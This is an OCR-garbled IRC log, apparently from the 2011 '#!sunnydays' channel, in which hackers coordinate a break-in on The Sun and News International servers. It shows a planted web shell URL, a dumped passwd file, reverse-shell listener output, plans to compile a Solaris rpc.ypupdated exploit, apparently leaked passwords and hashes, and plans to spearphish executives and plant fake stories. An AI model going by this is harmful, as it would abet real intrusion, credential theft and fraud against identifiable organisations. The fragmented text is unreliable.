it's not out until yesterday 
and this one just was posted a few h ago 
sec 

D 

narr 
:~$ wget 

nt . CO. uk/Scri pts/www. newsi nt . co.uk-basedi r-20110712 . tar 

2011-07-12 23:59:22 — 
nt.co . uk/Scri pts/www. newsi nt . co . uk-basedi r-20110712 . tar 
Resolving newsint.co.uk... 143.252.148.165 
no werky from shell either 

Connecting to newsi nt. co. uk| 143 . 252 . 148. 165 | : 443 .. . 

ok one sec 

t. CO. uk/Scri pts/www. newsi nt. co. uk-basedi r-20110712 . tar 

there 

ed wed Jul 13 2011 
ok 

i'm off n ow, best of luc k to a nyone tr ying to get a shell 
Goodnight Sabu, 
fetching ~l5(ti 
sleep well ! 
nice work matey <3 
no prob 

I just hope we can get something could out of this 
[^^HHI^H^^^^^^^H quit [user quit: Leaving] 

mtey nit^^^<^o^^^^^^^^^ 

oh ;_; 

has joined #!sunnydays 



you Detter know this, too :p 

we're pwning murdoch. 
but need a way to get a shell 

http : //extras .thesun . co. uk/wordpress/version . php 
make sure to leave no traces 

also lulz: http://i .imgur.com/kDJ3x.png (DONT DISCLOSE YET!) 
Jont mention this hack yet to anyone 

obviously 

only in this channel 

or to people in this channel 

lever mentioned anything to anyone :p 
i'll get here asap, tho 

a^ng in trusted curcle for a while now. same as ^| 

he may have some ideas, too 
i kno :-) 
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# lsunnydays.log 

ye., just saying., and yes, i respect that you always remind us 
i do same by putting dont dislose in caps 
even if it's obvious lol 

|45a96f3.CB47d490.a27e456C.IP] has joined #!sunnydays 

you're here excellent 
we have backdoor on the sun and maybe can pwn murdoch badly 

^^^//extras . thesun . co. uk/wordpress/version . php 
need a shell tho 
and keep this quiet, obv 
yep i have that 
ah 

kk then :) 
was here before 

"yeah this turned to be some coordination channel by accident i 
name fits :) 

1 m waiting couple of hour to lurk on that server 
they r still working there 
ahh ok 

yeah i only browsed around a little 

early i said we have to determinate if its not running 

notw/ on there . . but not much 
on a Sun container 
you seen the comic? 
pwn made it earlier lulz 

ol 

heh 

hmm sun 
gi rl friend 




we should play this * 
i wonder if they have 
maybe she hella ugly! 
that was the most gang 

according to the sun 
e to protect ^^^^^^ 
according to suns aesc^^t 
maybe it's a ruse and 
okay now I'm really cu 
maybe we can find the 
sorry i put another one 
http : //extras . thesun . co 
al ready touched back to 
works better for command 
gny <3 

t which gi rl is thi? 
yep i also consider shes 
girlfriend 
^^^ittps : //pastebi n . 
at 80% 

lol its quite funny to 1 



somehow* 
their voicemails :p 

ster thing I have probably ever said 
picture she's hot. even though they 

from^^^, Anonymity :) 

ion she's not really hot :\ 
she's a model 
rious to see 

unblurred version internally 
just for some comfort 
uk/wordpress/footer2b. php 

2008 

line 



potencially not ugly 
com/u/^^^^l suck on my pro account 
ook for exploit using a frame served by 



http : //extras . thesun . co . uk/wordpress/footer2b . php?act=expl oi t 
lets say telnet would be surely closed 
ypupdated will work for sure 

do u have the password for that sql? 
hmm 

wondering its indeed a sun container 
did u all get the monsanto folder? 
2:48 < ^^^^^1 ^H^p girlfriend 
how does someone wn^ooesn't leave the house get a gf xD? 

That's quite funny... they met online, they sit besides each 
on^^talk (only IM) and they only have that relationship to "fullfil 
needs" . 
lol 

sorry just in case (i dont remember who was at the moment) 
i loved that one quote 
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01:04 
01:04 
01:04 
01:04 
01:04 
01:04 
01:04 
01:04 
01:04 
01:04 
01:04 

01:04 _ 
"Computers 
"Stuff on 
01:04 < 




#! sunnydays .log 
http : //ge . tt/9mDPDt5 

openssl aes-256-cbc -d -a -in bad-seeds, 
password: 4ntis3c 
A that contains: 
0- whois.pdf 

SubDomai ns_mondi abl o . txt 
Of i ci al_Contacts_lng_lnv . txt 
mondi abl o_emai 1 s_lng_lnv . txt 
mondi abl o^ccessCompany_lng_lnv . txt 
mondi abl o . co . th . txt 



txt -out mon-santo.tar.gz 



codesl.txt 
codes2 . txt 
codesS . txt 
vul nl. txt 



portal_logi ns . txt 



'I wrote "So what you've been doing these days?" He replied, 

So I messaged him, "what about computers?" He messaged back saying, 

computers" . ' 

Read more: 




01:07 
01:08 
01:08 
01:08 
01:08 
01:08 
01:12 
01:12 
01:16 




I and that url has the full story 
e impressed her with hi s huge . . . b otnet . 

http : //twi tte r . com/# ! /B^^^Hstatus/90912 565152063488 



.botnet. 



seeing as we were exchanging troll responses yesterday 



loT^ 



saved 

Maybe he impressed her with his huge. 



lol XD 
this is quoteworthy :P 

___ yep 

Sabu> sorry was afk 

Sabu> you get my dm back ? 

yer^D they were tryiong to get a 



rev shell on thesun and i was 



going to try the /dev/tcp one 




01:16 

XD 

01:16 
01:16 
01:16 
01:16 
01:16 
01:16 
01:16 
01:16 
01:16 
01:16 
01:16 
01:16 
01:16 
01:16 
01:16 
01:17 
01:17 
01:17 
01:17 
01:17 

01:17 

Developers 
01:18 < 
01:18 
01:20 
01:20 
01:22 
01:23 
01:23 

will trigger 
01:23 < 
01:24 < 
01:24 < 
01:25 < 



but now 



gone and i dont have a box to accept the shell 



quite poor 

didn't bring my usb on vacation so i have no roots xD 
micrositel Super-user:/:/usr/bin/bash 



root:x:0:0 
daemon :x: 1 
bi n :x : 2 : 2 : 
sys :x : 3:3: 




/usr/bi n : 
/: 

adm : X : 4 : 4 : Admi n : /var/adm : 
1 p:x: 71: 8: Line Printer Admin:/usr/spool/lp: 
uucp: x: 5 : 5 : uucp Admin : /us r/lib/uucp: 

nuucp : X : 9 : 9 : uucp Admi n : /var/spool /uucppubl i c : /us r/l i b/uucp/uuci co 
smmsp:x:25:25:SendMail Message Submission Program:/: 
1 i sten : X : 37 : 4 : Network Admi n : /us r/net/nl s : 
gdm:x: 50: 50:GDM Reserved UID:/: 
webservd:x:80:80:webServer Reserved UID:/: 
promote : x : 49000 : 49000 : : /export/home/promote : /bi n/sh 
mysql :x: 51000: 51000: MySQL Database Logi n : /uOl/app/mysql : /bin/bash 
nobody :x: 60001: 60001: NFS Anonymous Access User:/: 
noaccess :x: 60002 : 60002 : NO Access user:/: 

nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/: 
backup : x : 51001 : 1 : : /export/home/backup : /bi n/bash 
_ develop:x:1339:1338:Nl STO 
export/home/devel op : /us r/bi n/bash 

you have a reverse shell on there ? 

wait min 
can try 

someone give me ip and port 
thats what i mean i dont have access to any roots xD 
^^^^^pdi s . i s . test] has quit [Client exited] 
_ or i try to open a port (dont think will work the firewall and 
the shit) 

hmm dont have box for that atm gnah 
yen i dont have my usb with me so no list of roots ;_; 
Zimbabwe gov box? 
the shell still there but no roots 
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01:25 
01:25 
01:26 
01:28 
01:28 
01:34 



#! sunnydays .log 



01: 



< 
< 
< 
< 
< 
< 

35 < 
it may co 
01:36 < 
01:36 < 
01:36 < 
01:36 < 
01:36 < 
01:36 < 
01:36 < 
01:36 < 
01:36 < 
01:36 < 
01:36 
01:37 
01:38 < 
01:38 < 
01:38 < 
01:39 < 
01:39 < 
01:39 
01:39 
01:39 
01:39 
01:39 
01:40 
01:40 
01:40 
01:40 
01:40 < 
01:40 < 
01:41 < 
01:41 < 
01:41 
01:41 
01:41 
01:41 
01:41 
01:41 
01:41 
01:41 
01:42 < 
01:42 
01:42 < 
01:42 < 
storage 
01:42 < 
01:42 < 
01:42 < 
01:43 < 
image eve 
01:43 < 
01:43 < 
01:43 < 
01:44 < 
01:44 < 
01:44 < 
01:44 
01:44 
01:44 
01:44 
01:44 
01:45 



01 c 




probably better to re upload a better shell 

that one trigger the antivirus each time u try something nice 
i think mMm may have some 
but he's oTt 

abu> http : //www. youtube . com/watch?v=3cnQCk0u49w 

^^^^B unfortunately, this video is not available in Germany because 
ntam music for which GEMA has not granted the respective music rights. 

wtf? 

i 'm not in germany 

ol 

IP information: 
ISP: interactive iD 
Organization: Interactive 3D 
Connection : 

Proxy: Network Sharing Device 

THATS NOT GERMANY! ! ! 
y ou fucktar ds! grr 
[^^^^^gdis.is.test] has joined #! sunnydays 

ok if someone has netcat running somewhere not fi rewalled. . . 
hmm i could only from this box but i probably cant 
also maybe i shouldnt 

it serves as my ire shell and is antisec primary seedbox atm 

wouldnt want anymore heat on that 

we could use ^^^^m computer... 
i should setu^e^miux vm 



ill setup a linux vm though soon 
just problem is... space 

:/ 

sighs 
space? 

for what exactly? 

yar i could set up a linux vm and do shit from there, via vpn 
slitaz? puppy? ;) 

cause http://taiioe-lafs.org/trac/tahoe-lafs has space 
but my space is limited here atm 
H^^^^l we need anon root box 
T^oper^ort 

and haz reverse shell then 
wait, what do you need the space for then? 
dump shit 
wel 1 

what you could do 
I think 

is use tahoe-lafs 

I believe there is a way to 'mount' the tahoe-lafs cloud 

as a 'drive' 
or filesystem, rather 

I'm not sure about the specifics, but it may be useful 

well it needs to be quick and dirty as i would vipe the vm 

rytime i did shit 
wipe* 

better would be some compromised shit., somwehere 
poiting far far away :p 

mm 
wel 1 

tahoe-lafs is, afaik, like i2p and bitcoin 
in the sense that noone really has centralized control 
hag, brb. 

that it's all anonymous, pretty much 
stuff, 
etc 
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http 
01:49 
01:50 
01:54 
wants 
01:54 
02:01 
i ntro 
02:02 
http: 
etwor 
02:04 
02:05 
in th 
02:05 
02:05 
02:05 
02:05 
02:05 
02:06 
gigen( 
02:08 
02:08 
02:09 
02:09 
02:13 
02:14 
02:17 
02:17 
02:17 
02:17 
02:17 
02:18 
02:18 
maki n 
02:18 
02:18 
02:18 
02:18 
02:20 
02:20 
02:20 
02:20 
02:20 
02:20 
02:20 
02:20 
02:21 
02:21 
02:21 
02:21 
02:21 
02:21 
02:21 
02:21 
02:21 
02:21 
02:21 
02:21 
02:22 
02:22 
02:22 
me xD 
02:22 
02:22 
02:22 
02:22 
02:22 



#! sunnydays.log 

//tahoe-lafs .org/trac/tahoe-lafs/browser/trunk/docs/about . rst 
I have a new favorite quote. :o 

http s : //twi tt er ■ com/# ! /aaronbar r/status/90958805780803584 

^^^^^B could you msg Theory on Anonops and ask him what he 

he's bugging me again 
gratz, LulzSec is in the Hostexploit 'bad hosts' report (in the 




//hostexp loit . com/downl oads/summary/7-publ i c- reports/30- top- 50-bad-hosts-a-n 
ks-2011-q2.html 

did we win... the prize? 
funny how there is only 1 russian network and 1 Chinese network 
hosts 

also 1 dutch network 
the other 7 are US 

in terms of hosting malware, phishing, etc 
interestingly HostDime is in #1 

and well, lulzsec is mentioned :P 

unsurprisingly, ecatel , leaseweb, hetzner, netdirekt, and 
e top 50 as well 
"Firstly, AS49130 ArNet (RO) , which has climbed to #112, 
with jus t 768 allocated IP addresses" 
^^^^^1 back 
or^omms are ready, too 

you still around? 
ana ? 

[^^^^^^^^^^^^^^^^^^^^H has quit [User quit: Leaving] 





has joined #!sunnydays 



g a new one 

< 



ups :d 

wtt IS with jester 
too much time spent on CZ 

he has really fallen to a new low 
forgot that same servertab in xchat quit the server instead of 

yeah open an new servertab :D 




jst on my way to bed :D sup? 
\;hy what has jester done now xD/ 

:D? 

wel 1 

he is tweeting 
"anonyops.com tango down" 
what has actually happened 
is that singlehop complained 
and got siteground to suspend his hosting 

and I'm pretty damn sure that's not jester 
who did that 

anyhow, anonyops is back up 
http://anonops.tk already works 
he's transfering the .com atm 

jester is just a loser riding the waves of others 

helped him to set up a proper vps with lighttpd + varnish 
etc 

le ' s blocked me on twitter xD 

lol 

checks smi leys/lines ratio for 
yup, still good. 
:d 

3oesn't like me calliung him out on his BS he's even unfol lowed 

lolol 
he mad 

he so mad :D 

ao 

also, /me is working on open source intel platform 
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# lsunnydays.log 
writing up API specification in treesheets atm 
/me is going to sleep :3 
lol 

night :P 
"3 :D 

wtf 



<3 



|6018396e.CB47d490.a27e456C.ip] has quit [User quit: Lost 



yes ; 
busy very 

wne^wa^that about? : P 
oh nvm 

nothing related 
lol ok 

rather wrong channel 

is it just me or is jester sounding more illiterate by the day? 

he's so jelly and mad., he's losing coherence i'd assume 

but i havent read any of his shit recently 

he's blocked on my twitter :x 

lool 

rofl sabu 

awsome vid footage haha 

dis.is.test] has quit [Client exited] 
konjassiem-765AE5AC.adsl.wanadoo.nl] has joined 



this is pretty scary, 
lol 

sunnydays [+000000 



http : //whoer . net/extended 

Sabu 



03:47 
03:47 <' 
why you 
03:48 <' 
you get 
03:48 <' 
03:49 < 
03:52 < 
03:53 < 
03:54 < 
03:54 < 
03:54 < 
03:54 < 
03:54 < 
03:54 <' 
03:54 <' 
03:55 < 
03:57 < 
03:57 < 
03 
03 
04:04 < 
04:04 < 
04:04 < 
04:04 < 
04:05 < 
04:05 < 
04:05 < 
04:05 < 
04:05 < 
04:05 < 
04:05 < 
04:05 
04:06 



wtf 
7 



is anon_central= 



57 <' 
57 <' 




©AnonymouslRC you want governments to find you? Okay.jpg also 
responding to me? Are you too big now? 

erm well i usually dont respond to anyone... that's something 
after passing 100k followers i guess 
just never was on my radar 
lol 
re 

_Central is 
ohh 

that makes 
heh 

wel 1 

he doesnt know who i am on 
he had another name before 
AnonyOps? 



prosi after all I know, 
sense actually 



1 rc : 
tho? 



who wrote that thing 




i think 

imma go a bit away from hiding 
damn trolls 
cost too much time 
was wondering if it was really | 
denied that he wrote that, 
doesnt matter i guess finally 
but. . 

probably theres something there 

I can't see why ^ would write that and then deny he wrote it. 
mean... yep its a potential situation to happen 

that would defeat the entire purpose 

ppl could feel outside of the hacker thingy 
probably just someone trying to spread hate 

between 'groups' 

and start splitting from anon 
uh? 
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04:06 < 
04:06 < 
04:06 < 
04:06 < 
04:06 < 
04:07 <' 
04:08 < 
04:08 < 
04:08 < 
04:09 < 
04:09 < 
dropped 
04:09 <' 
04:09 <' 
04:09 < 
04:10 < 
04:10 < 
04:10 < 
04:21 < 
04:22 < 
04:22 < 
04:22 < 
04:22 < 
04:22 < 
04:22 < 
04:22 < 
04:23 < 
04:23 < 
04:23 < 
04:23 < 
04:23 < 
04:24 < 
via XSS on 
04:24 < 
04:24 < 
04:25 < 
04:25 < 
guess 
04:25 < 
pants 
04:25 < 





# lsunnydays.log 
what think from ■[? 
what did i missV 
the pastebin 

the skype thing? 

or which., i 've seen too many :( 
_ do u have the link ? 
rgot to save it 
http : //pastebi n . com/ 

04:15 
04:15 



FYI 

on anonops 




Your nickname has been 




good old 
:) 



agai n : D 



then, isnt it? 



at means we can have sex with ■ 
heh 

was that the sign? 
she doesnt want to get back on ire 
she is scared :/ 

ol 

still DMing with her from time to time 
11 at least she has jabber 
oh does she 

yep 

oh 

was the pastebin like the stuff that was spreaded on twitter 

wwp? 
yes 

ah k 

ose the 'H^^^ ' servers? 
well at tr^^point it doesnt even matter if it was H or not i 




and please dont bring something like 
lol 



or i 11 piss my 



#! sunnydays 
09:25 

09:25 

[User quit" 
09:41 
09:41 
10:49 
10:50 
10:50 
10:50 
10:50 
10:50 
10:52 
10:52 < 
10:52 < 



__ servers? 

It smells like old drama shit to me 
and i dont even care 
let the kids play :) 
"l like this new ire... seems like a good fortress 
one of many 

we need to get distributed anyway 

_ has quit [Ping timeout] 
joined #! sunnydays 

"Hi everyone 

has quit [Client exited] 
IcTformlessnetworking.net] has joined 



ijassi 1 





has joined #! sunnydays 
ED4C . f orml essnetworki ng . net] has quit 

has quit [Client exited] 
has joined #! sunnydays 



s going.'' 
Hi 

its going ok now 
you? 

what you up too? 

1 hanged anothere shell i think you will find it more comfortable 
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10:52 < 
10:53 < 
10:54 < 

11:00 < 

that server, 

11:02 < 

places so we 
11:08 < 
11:30 
12:33 
12:34 



12:37 

joi ned #!sunnydays 



# lsunnydays.log 
http : //extras . thesun . co . uk/wordpress/footer2b . php 
al ready touched back to 2008 
nice one ;) 

The priority at the moment is getting an interactive shell on 

then we should be able to ssh into the other boxes on the Ian 

also if you can copy and touch the web shell in a few obscure 

t lose access 

Thanks for the shell btw 

as q uit [Ping timeout] 

has joined #!sunnydays 

o I ks 

kon jassi em- 5034688. b-ras 3 .mvw. gal way. ei rcom. net] has 



don' 




12:38 < 
12:39 ■ 
12:41 I 
12:48 < 
12:49 < 
appreciati ng 
12:50 
lacked o" 
12:53 < 
12:53 < 
12:53 < 
12:53 < 
12:53 < 





layer, but our 
13:59 < _ 
proc list 
13:59 < 
14:00 
14:00 



14:02 
14:02 _ 
di rectory 
14:02 < 
/dev/u random 
14:03 < 
14:03 < 
14:04 < 






has quit [Ping timeout] 

has joined #!sunnydays 

my ISP IS giving me all kinds of hassle today 

is there anything new happening with you folks? I was 

the work in the backlog yesterday 

still trying to get an interactive shell I guess. Yesterday we 
;es to work wi th . 

Did HH^^II try the tool I posted? 
I thi nl^^^^^has a stash on a USB 
but she's on holiday 
yeah her USB is not-available 
"weapon: not available" 
oh lawdy 

imagine the carnage 
when she has it? 

Hey 

anyone know what chan to join on jc's IRC? 

kthx :D 

has quit [Ping timeout] 
has joined #!sunnydays 
go inception on me last night bro? 
cos I had the wierdest dream 
I was on IRC 

and I notice a handle I recognise /join #antisec 
I look at it in shock 
"OMGWTF? My EX is on AnonOps?" 
So I click to open a PM 

and see the host is ^^^^^^^^M (stuff goes here) 
"WTF" ^^^^^^ 
I was there stealing your secrets, yes 

we had to go derper because the IRC bot projections were closing 

they almost pinged you awake 
so we tunneled you through port 443 

you rode the kick up the VPNs and now you're back to reality 
unless totem.exe keeps spinning 
Man, I gotta tell you. it was some mindfuck 
I woke up CONVINCED it was real 

2WTF was she on tha HOW does know her name?!?" 

we weren't meant to have a 120 secon^^nmeout in the second 
compound drug was powered by windows vista 

~ naturally it could not handle two minds in one consciousness 

I think your mind runs too much Java 
Blame the coffee so, I forgot it imports 3ava 
was there anything good in there? 

I tried to gnome-screenshot your dream state AES256 volume 
but you woke up before I could find the keyfiles in your cocks 

oh, the keyfiles in ./cocks are actual It just the outout from 

the real keyfiles are in ./not-the-key-files 
no one ever thinks to look there 
my keyfiles are on imageshack, which sleeps 1024 hour nights due 
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# lsunnydays.log 
to the new compressed file sedative 



14:04 < 
14:05 < 

in Inception is 




whoa! HOW does that work out?! 
you know, I only recently came to the conclusion that the train 
literally a train of thought 
Well most of the film is symbolism 

one of my friends cannot watch it, he studys that kinda 



and it just pisses him off xD 
s/conclusi on/belated realization/ then 
inception would have been better with a competent actress 
architect 

that little bitch ruined every scene 
ah, but y'see 

they had to have the symbolic flaws :P 

That girl looked like a boy with long hair. :\ 
http : //twi tpi c . com/5pOi 5h 



■has quit [Ping timeout] 
has joined #!sunnydays 



say was 



with a submission 

14:24 < 

submissions al rea 
14:24 < 



Sabu 

1 000000 

howdy friend 
<^^^HHH sorry got 
it woTTOrvt be a bad 

system 



a phone 
idea to 



C.IP] has joined #!sunnydays 



call there., anyway what I was going 
get anonleaks going again, except 




hackerleaks seems to have gotten a good few 
s a piece of piss 
that's actually quite a good idea 
https : //gi tori ous .org/ pyd rop 

you have pretty much everything required to pull it 

what do you reckon? 
I'll forward this to the group 
maybe something can happen 
excellent 



has quit [Ping timeout] 
has joined #!sunnydays 



onjassiem-F6EDF527 . b-ras3 .mvw.galway .ei rcom. net] has 



AAAAAAAAAAAAAAAAARGH 

kon jassi em- 5034688 . b- 



ras3.mvw.galway.eircom.net] has 



14 
14 
15 
15 
15 
15 
15 
15 




1 s now known 

thar we go 
someone say they 
oh B 

hai : D 



had root on linode? 



quit [Ping timeout] 
joined #!sunnydays 



the idea, i think 



59 
59 
07 
08 
08 
11 
11 
12 
hosti ng 

15:12 < 

http^// ragecomi cs . memebase . com/2011/06/16/ rage-comi cs-cheeky-1 i ttl e-trol 1 -cat/ 
I still like that sun.co.uk comic 
- thanks :D 

use as press release xD 
im making another one now 
for NOTW if we can 
"Lulz Of The World - Special 




Edition 



voi cemai Is!" 
15:21 < 



we need to hurry up 



and decide what we're 
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because they 
15:21 




15:26 
15:34 
quit 
15:45 



of 


holii 


15: 


45 


< 


15: 


46 




15: 


48 


1 


15: 


48 


<i 


15: 


48 




15: 


49 


< 


15: 


49 


<i 


15: 


49 


<i 


15: 


49 


<i 


15: 


49 


<i 


15: 


50 


< 


15: 


51 




15: 


51 




15: 


52 


< 


15: 


52 


< 


15: 


54 




15: 


55 


< 


15: 


56 




15: 


56 




15: 


56 


< 


15: 


56 


< 


15: 


56 




15: 


56 




15: 


57 


< 


on 


conrii 


15: 


57 


< 


15: 


58 


<i 


15: 


59 


<i 


15: 


59 


<i 


16: 


03 


<i 


16: 


03 


<i 


.cn sen 


16: 


03 




work 




16: 


03 


<i 


16: 


04 


<i 


16: 


04 


<i 


16: 


04 


<i 


16: 


04 


<i 


16: 


04 


<i 


16: 


04 


<i 


16: 


04 


<i 


16: 


04 


<i 


16: 


30 




16: 


53 


< 


16: 


53 




16: 


53 




16: 


55 


< 


16: 


55 




16: 


55 




16: 


55 


< 


16: 


57 


< 


16: 


58 




16: 


58 


< 


16: 


58 


< 








#! sunnydays.log 
've al ready found 2 of our shells (may be more) 

i^^v^jus^coLH^^tru^^^^iwe s o m e 
they did? 
damn :o 

is now known ^f^^^^H 
Ok im texting ■■■■ to let him know to get his ass on 
he was in the rtnom^or working on something 

F uuuuuu uuuu I cannot login to web-texts 

[^^^konjassiem-F6EDF527.b-ras3.mvw.galway.ei rcom.net] has 

imeout] 

right im gonna go get ready out for a few drinks not many days left 

bye <33333 

396e.CB47d490.a27e456C.ip] has quit [User quit: :3] 

has joined #!sunnydays 

1 __ 

we can maybe pwn murdoch 

\o/ 

http : //extras . thesun . co . uk/wordpress/versi on . php 
but we still haz no shell i think 
oh ■■■I^H left damn 

he'^^D^oack i guess 
SunOS ~.~ rarely worked with that 
http://i .imgur.com/kD:3x.png ;) 
dont hand out yet, obv 
lulz :D 
of course aa 

_ does the other ire work? 
what kind of auth does it need 
as i pasted you 
user:pass 

hmpf client on this pc does not support i guess 
wi 11 f i X i t AA 

works with and xchat 

dont see wh^^miers wouldnt work hm 
miRC, by example (windows client) only alows to specfiy a password 
guess 

with my linux nb i should be fine 
well you do specify on connect? 
./server IP +66697 user:pass 
not werky? 

just enter username: password as server password 

dunno want to come on those comms as well? locked down 
ut cant add you know 

is unsure of what server, but that's how privateserver used to 

have to wait until tomorrow then 
^^^g no hurry :P 
oes It use SASL or regular auth? 

mkpasswd.net unreal sha-1 

msg me a hash 
ah, regular auth 
ok, sec 
_ will add it 
ut he went to sleep 



anything new on murdoch? 
1 is no on it, too 

prop I em ist still having a box for that 
ah right 

if we had a root box we can reverse shell i guess 

aye 

cant we yet? 

lacking a box 
1 see 
np 
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16:58 

16:59 

16:59 

16:59 

16:59 

17:00 

used 

17:00 

#!sun 

17:01 

Leavi 

17:01 

17:01 

17:02 

17:02 

17:02 

17:02 

17:02 

has C 

17:02 

17:02 

17:02 

17:02 

17:02 

17:03 

17:03 

17:04 

17:04 

[143 

17:04 

17:04 

0.52 

17:04 

17:04 

./edi 

17:04 

17:04 

17:04 

17:04 

17:04 

17:05 

17:05 

17:05 

17:05 

17:05 

17:05 

17:06 

won ' t 

17:06 

17:06 

17:06 

17:07 

17:07 

17:07 

17:07 

17:08 

17:08 

17:08 

17:08 

17:10 

17:10 

17:11 

17:11 

17:11 

17:11 

17:11 

17:11 

17:11 



mode/#! sunnydays [+oo 

ni pdlogs : r36okazqFF7io" 



#!sunnydays.log 
by 

<^^^B sunon1ine:8CGPtH6dLyPm2 
<|^^H presentation:! jrLovsiCGBsU 
<^^^H DES hashes that should be cracked 

<S^H~btw as I got invited later. . .what's the injection point that got 
for this? 

konjassiem-37c03D90.torservers.net] has joined 
konjassiem-37c03D90.torservers.net] has quit [User quit: 

has joined #! sunnydays 




< 
< 

< 
< 

an 

< 
< 
< 





Hi 

onai 

good timing 

hi ^^^g Sabu, 

How nave you been keeping 

aTso, please go to mkpasswd.net, choose unreal sha-1 and msg me a 

remember your pw obviously) 

My connection might drop, I'm on the bus 

hey there ^^^^^^ 
secure pw^^m)< 
ah okay 

has time till later 

mode/#! sunnydays [+o ^^^^^^H by ^^^H 
<^^H|^H hi Hi ^^^^^ 
<^^^M listening on [any] 443 ... 

<€^^H connect to [xxxxxxx] from micrositel.wpng.newsint.co.uk 

252T77TT25] 34 




<| 

t.sTi 

<| 
<| 
< 
< 
< 
< 
< 
<| 
<| 
<| 
<| 
< 

wo 

< 
< 

<l 
<l 
<l 
< 
<l 
<l 
<l 
<l 
< 
< 
< 

< 

<l 
<l 
<l 
< 



651 
6:07pm 

user 
root 



up 372 day(s), 13:11, 



tty 
pts/1 



login© 
3:39pm 



idle 
2:19 



1 user, load average: 0.95, 0.57, 
JCPU PCPU 



what 
/usr/bin/bash 







SunOS micrositel 5.10 Generic sun4u spare SUNW, Sun-Fi re-v240 
ui d=49000(promote) gi d=49000(promote) 
rev shell works 
:D 

D 

but its trolling me :D 

micrositel #" 

e shell is trolling you? omg.. 
too bad that it isnt rooot 
oh fuck 
epic! 

rpc.ypupdated exploit should work on this one... telnet most probably 

this is just what we needed 
1 thought would be able to help :) 

checking rpc.ypupdated 

what happens when you ssh webdevtwo 
nice work 

actually i didn^oo anything :D 
but rev connecting 
oh nice 

can you try that ssh 
your the promote user arent you? 
ok we need to root! 

try to stay off the shells till after 6 or 7pm GMT 
while staff are not working 

we don't want them seeing anything 

well it's 6:15 UK Time 
5:15 GMT 

but agree, shouldwait a little longer 
ok 

Those newspaper guys work long hours in the evening, don't they? 
they were working till 7 uk time yesterday 
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17:11 <&^m ic 
17:11 <<i 
17:12 <g 

17:13 <Q _ 
accounts guys anc 
17:13 <f 
17:14 < 
17:15 <' 
newsint.co 
presidents 
17:15 < 





#! sunnydays.log 

but I think that was exceptional circumstances 
they had to make a new holding page for newsint.co.uk 
I'm thinking we might be able to spearphish some email 
gal s 

https : //remotemai 1 . newsi nt.co.uk 
thats the link to their current webmail 
perhaps we could create a new directory in like 
/ with the same login and email that to some high up CEO's vice 

etc . 

pretending to be from IT 

? 



got 



we need that exploit precompiled 
si ne e this box got no gcc 

ok 

if you give me exploit I can compile 
p : //www. exploit -db. com/sploits/2008-ypk2008. tar .gz 
[^^^HHH^^B has quit [Connection reset by peer] 
1 tproDaDTynas to be compiled on sunOS 

ah ok 

has joined #!sunnydays 
has quit [Connection reset by peer] 
a sun box 
I thought gcc is installed? 
maybe not running? 
did you try the ssh/ 
aah? 
ssh? 

Td not do much since the admin is still logged on 
is not reachable from outside 

ok 

good idea 

tought gcc is installed too 

I mean can you ssh from the box to another box on the Ian 
ably 

there is one which I think is accesable without password as 



and 
ok 



hosts the main sun site 




17:47 < 



anyways wait a few minutes 
right gtg be back in 20mins 
and nice work guys! 
has joined #!sunnydays 

ay 

im afk too 
we will get them :) 

has quit [Client exited] 

20A24/F. DlUFA27b .84E78Et 

has quit [Ping timeout] 

1 s now known as 
id it work? we haz root? 

we cant compile it since gcc is missing on target 
11 setup SunOS vm and precompile it 
why not set up an antisec storage grid 
using tahoe-lafs 

and get people to 'donate' disk space to antisec 

btw it would be epic to deface one or two pages with | 



■IP] has joined #!sunnydays 



anonymous track once all bounty has been loaded aboard aa 
a1 so ^■■^^H comi c 

shoLH^nave a special message for Notw 
Solaris VM ready in ~30minutes 

then i will compile the exploit and hope it works 

[^^^g^^^^^^^^^^^l has joined #!sunnydays 
b acl^^^^^^^^^^^^^^^ 

hi 
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welcome back 




#! sunnydays .log 



Solaris VM ready in ~30minutes 

then i will compile the exploit and hope it works 

kon j assi em-9290ABDC . b- ras3 . mvw . gal way . ei rcom . net] has 



are making progress \o/ 



we have box and. 



works 
17:55 

17:56 

encountered 



Solaris VM ready in -BOminutes 

then i will compile the exploit and hope it 



17; 
17; 
17; 
18: 
18; 



56 
56 
56 

00 
00 





18:00 < 
18:00 < 
18:00 < 
18:00 < 
18:01 < 
18:01 < 
18:02 < 
18:03 < 
18:05 < 
18:05 < 
18:05 < 
18:06 < 
18:07 < 
18:07 < 
18:07 < 
18:07 < 
18:07 < 
18:07 < 
comic 1 
18:07 < 
18:08 < 
server- 
18:08 < 
18:10 < 
18:10 < 
18:11 < 
18:11 < 
18:11 < 
18:11 < 
18:12 < 
language 
18:12 <' 
java program 
18:13 < 
18:15 < 
18:15 < 
f ai 1 i ng 
18:15 < 
18 : 16 < _ 
and thou'ght 
buggy code 
18:16 <" 
18:17 < 



On the Sun servers? AWESOME! 

now that cheers me up - Earlier today my respiratroy system 

airborne particulate that pissed it off 
I cant even smoke now : ( 
we have joy we have fun, we have murdoch on a sun 
ugh 
:D 

wel 1 

http://i .imgur.com/kDJ3x.png 
that may cheer you some 

IDK 

another one coming! 
imma be afk a while 
bbl 
kk 



I heard you are making good works :D 

heard same of you :D 

well, the Sun is going down 

and I have comics to use instead of press releases 

it has to! 



yeah 



need 




to finish fake stories to plant 

:D epic comic is epic 

- second comic is almost done, just gonna make a rage 
to send to a friend 
nice AA 

He thinks im a coding snob cos I LOL at the Minecraft 

1 ng 

Im fuzzing the shit into it, I know there is a buffer overflow! 
isnt minecraft java? 

java allows no buffer overflows by design i guess 

IIRC there are srs bugs in some soft written in java 

^ I mean fuck, its java :P 

qava as language is very secure 
if there any vulns they come from the vm's 

C++ allows things like buffer overflows, null pointers etc. by 

so if there any vulns like that they are based on the system the 
runs on aa 

aaaaah 
^ bollix 

Java just got a bad reputation (if it got one) because SUN is 
at programming their VM's 

Ah, explains some of it so 

I saw the words "The soft is currently full of bugs" and "java" 
buggy code in a language used by . . . people who often write 

WIN! " 

:D yeah 

its very very hard to write unsecure applications where the 





we 



18:17 < 
18:17 < 
18:18 < 




insecurity comes from the language itself 



and burn many a time) then win 



would not know how aa 

the permissions where changed for newsint.co.uk 
well, if code = buggy (and i have seen minecraft servers crash 
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18:18 
18:18 
18:18 
18:18 
18:18 
18:18 
18:18 
18:18 
18:19 



#! sunnydays .log 

- they found the PageS shells 

or course you can code bullshit like endless loops 
thinks we need to do this ASAP 

and - true that 

wo r kin or^^ 
btw where is 

on holidays 

still?! 

so probably with her dad or friend or something 
yep 

still in sunny espana! 

want too 

y raeg builder no cmply?! 
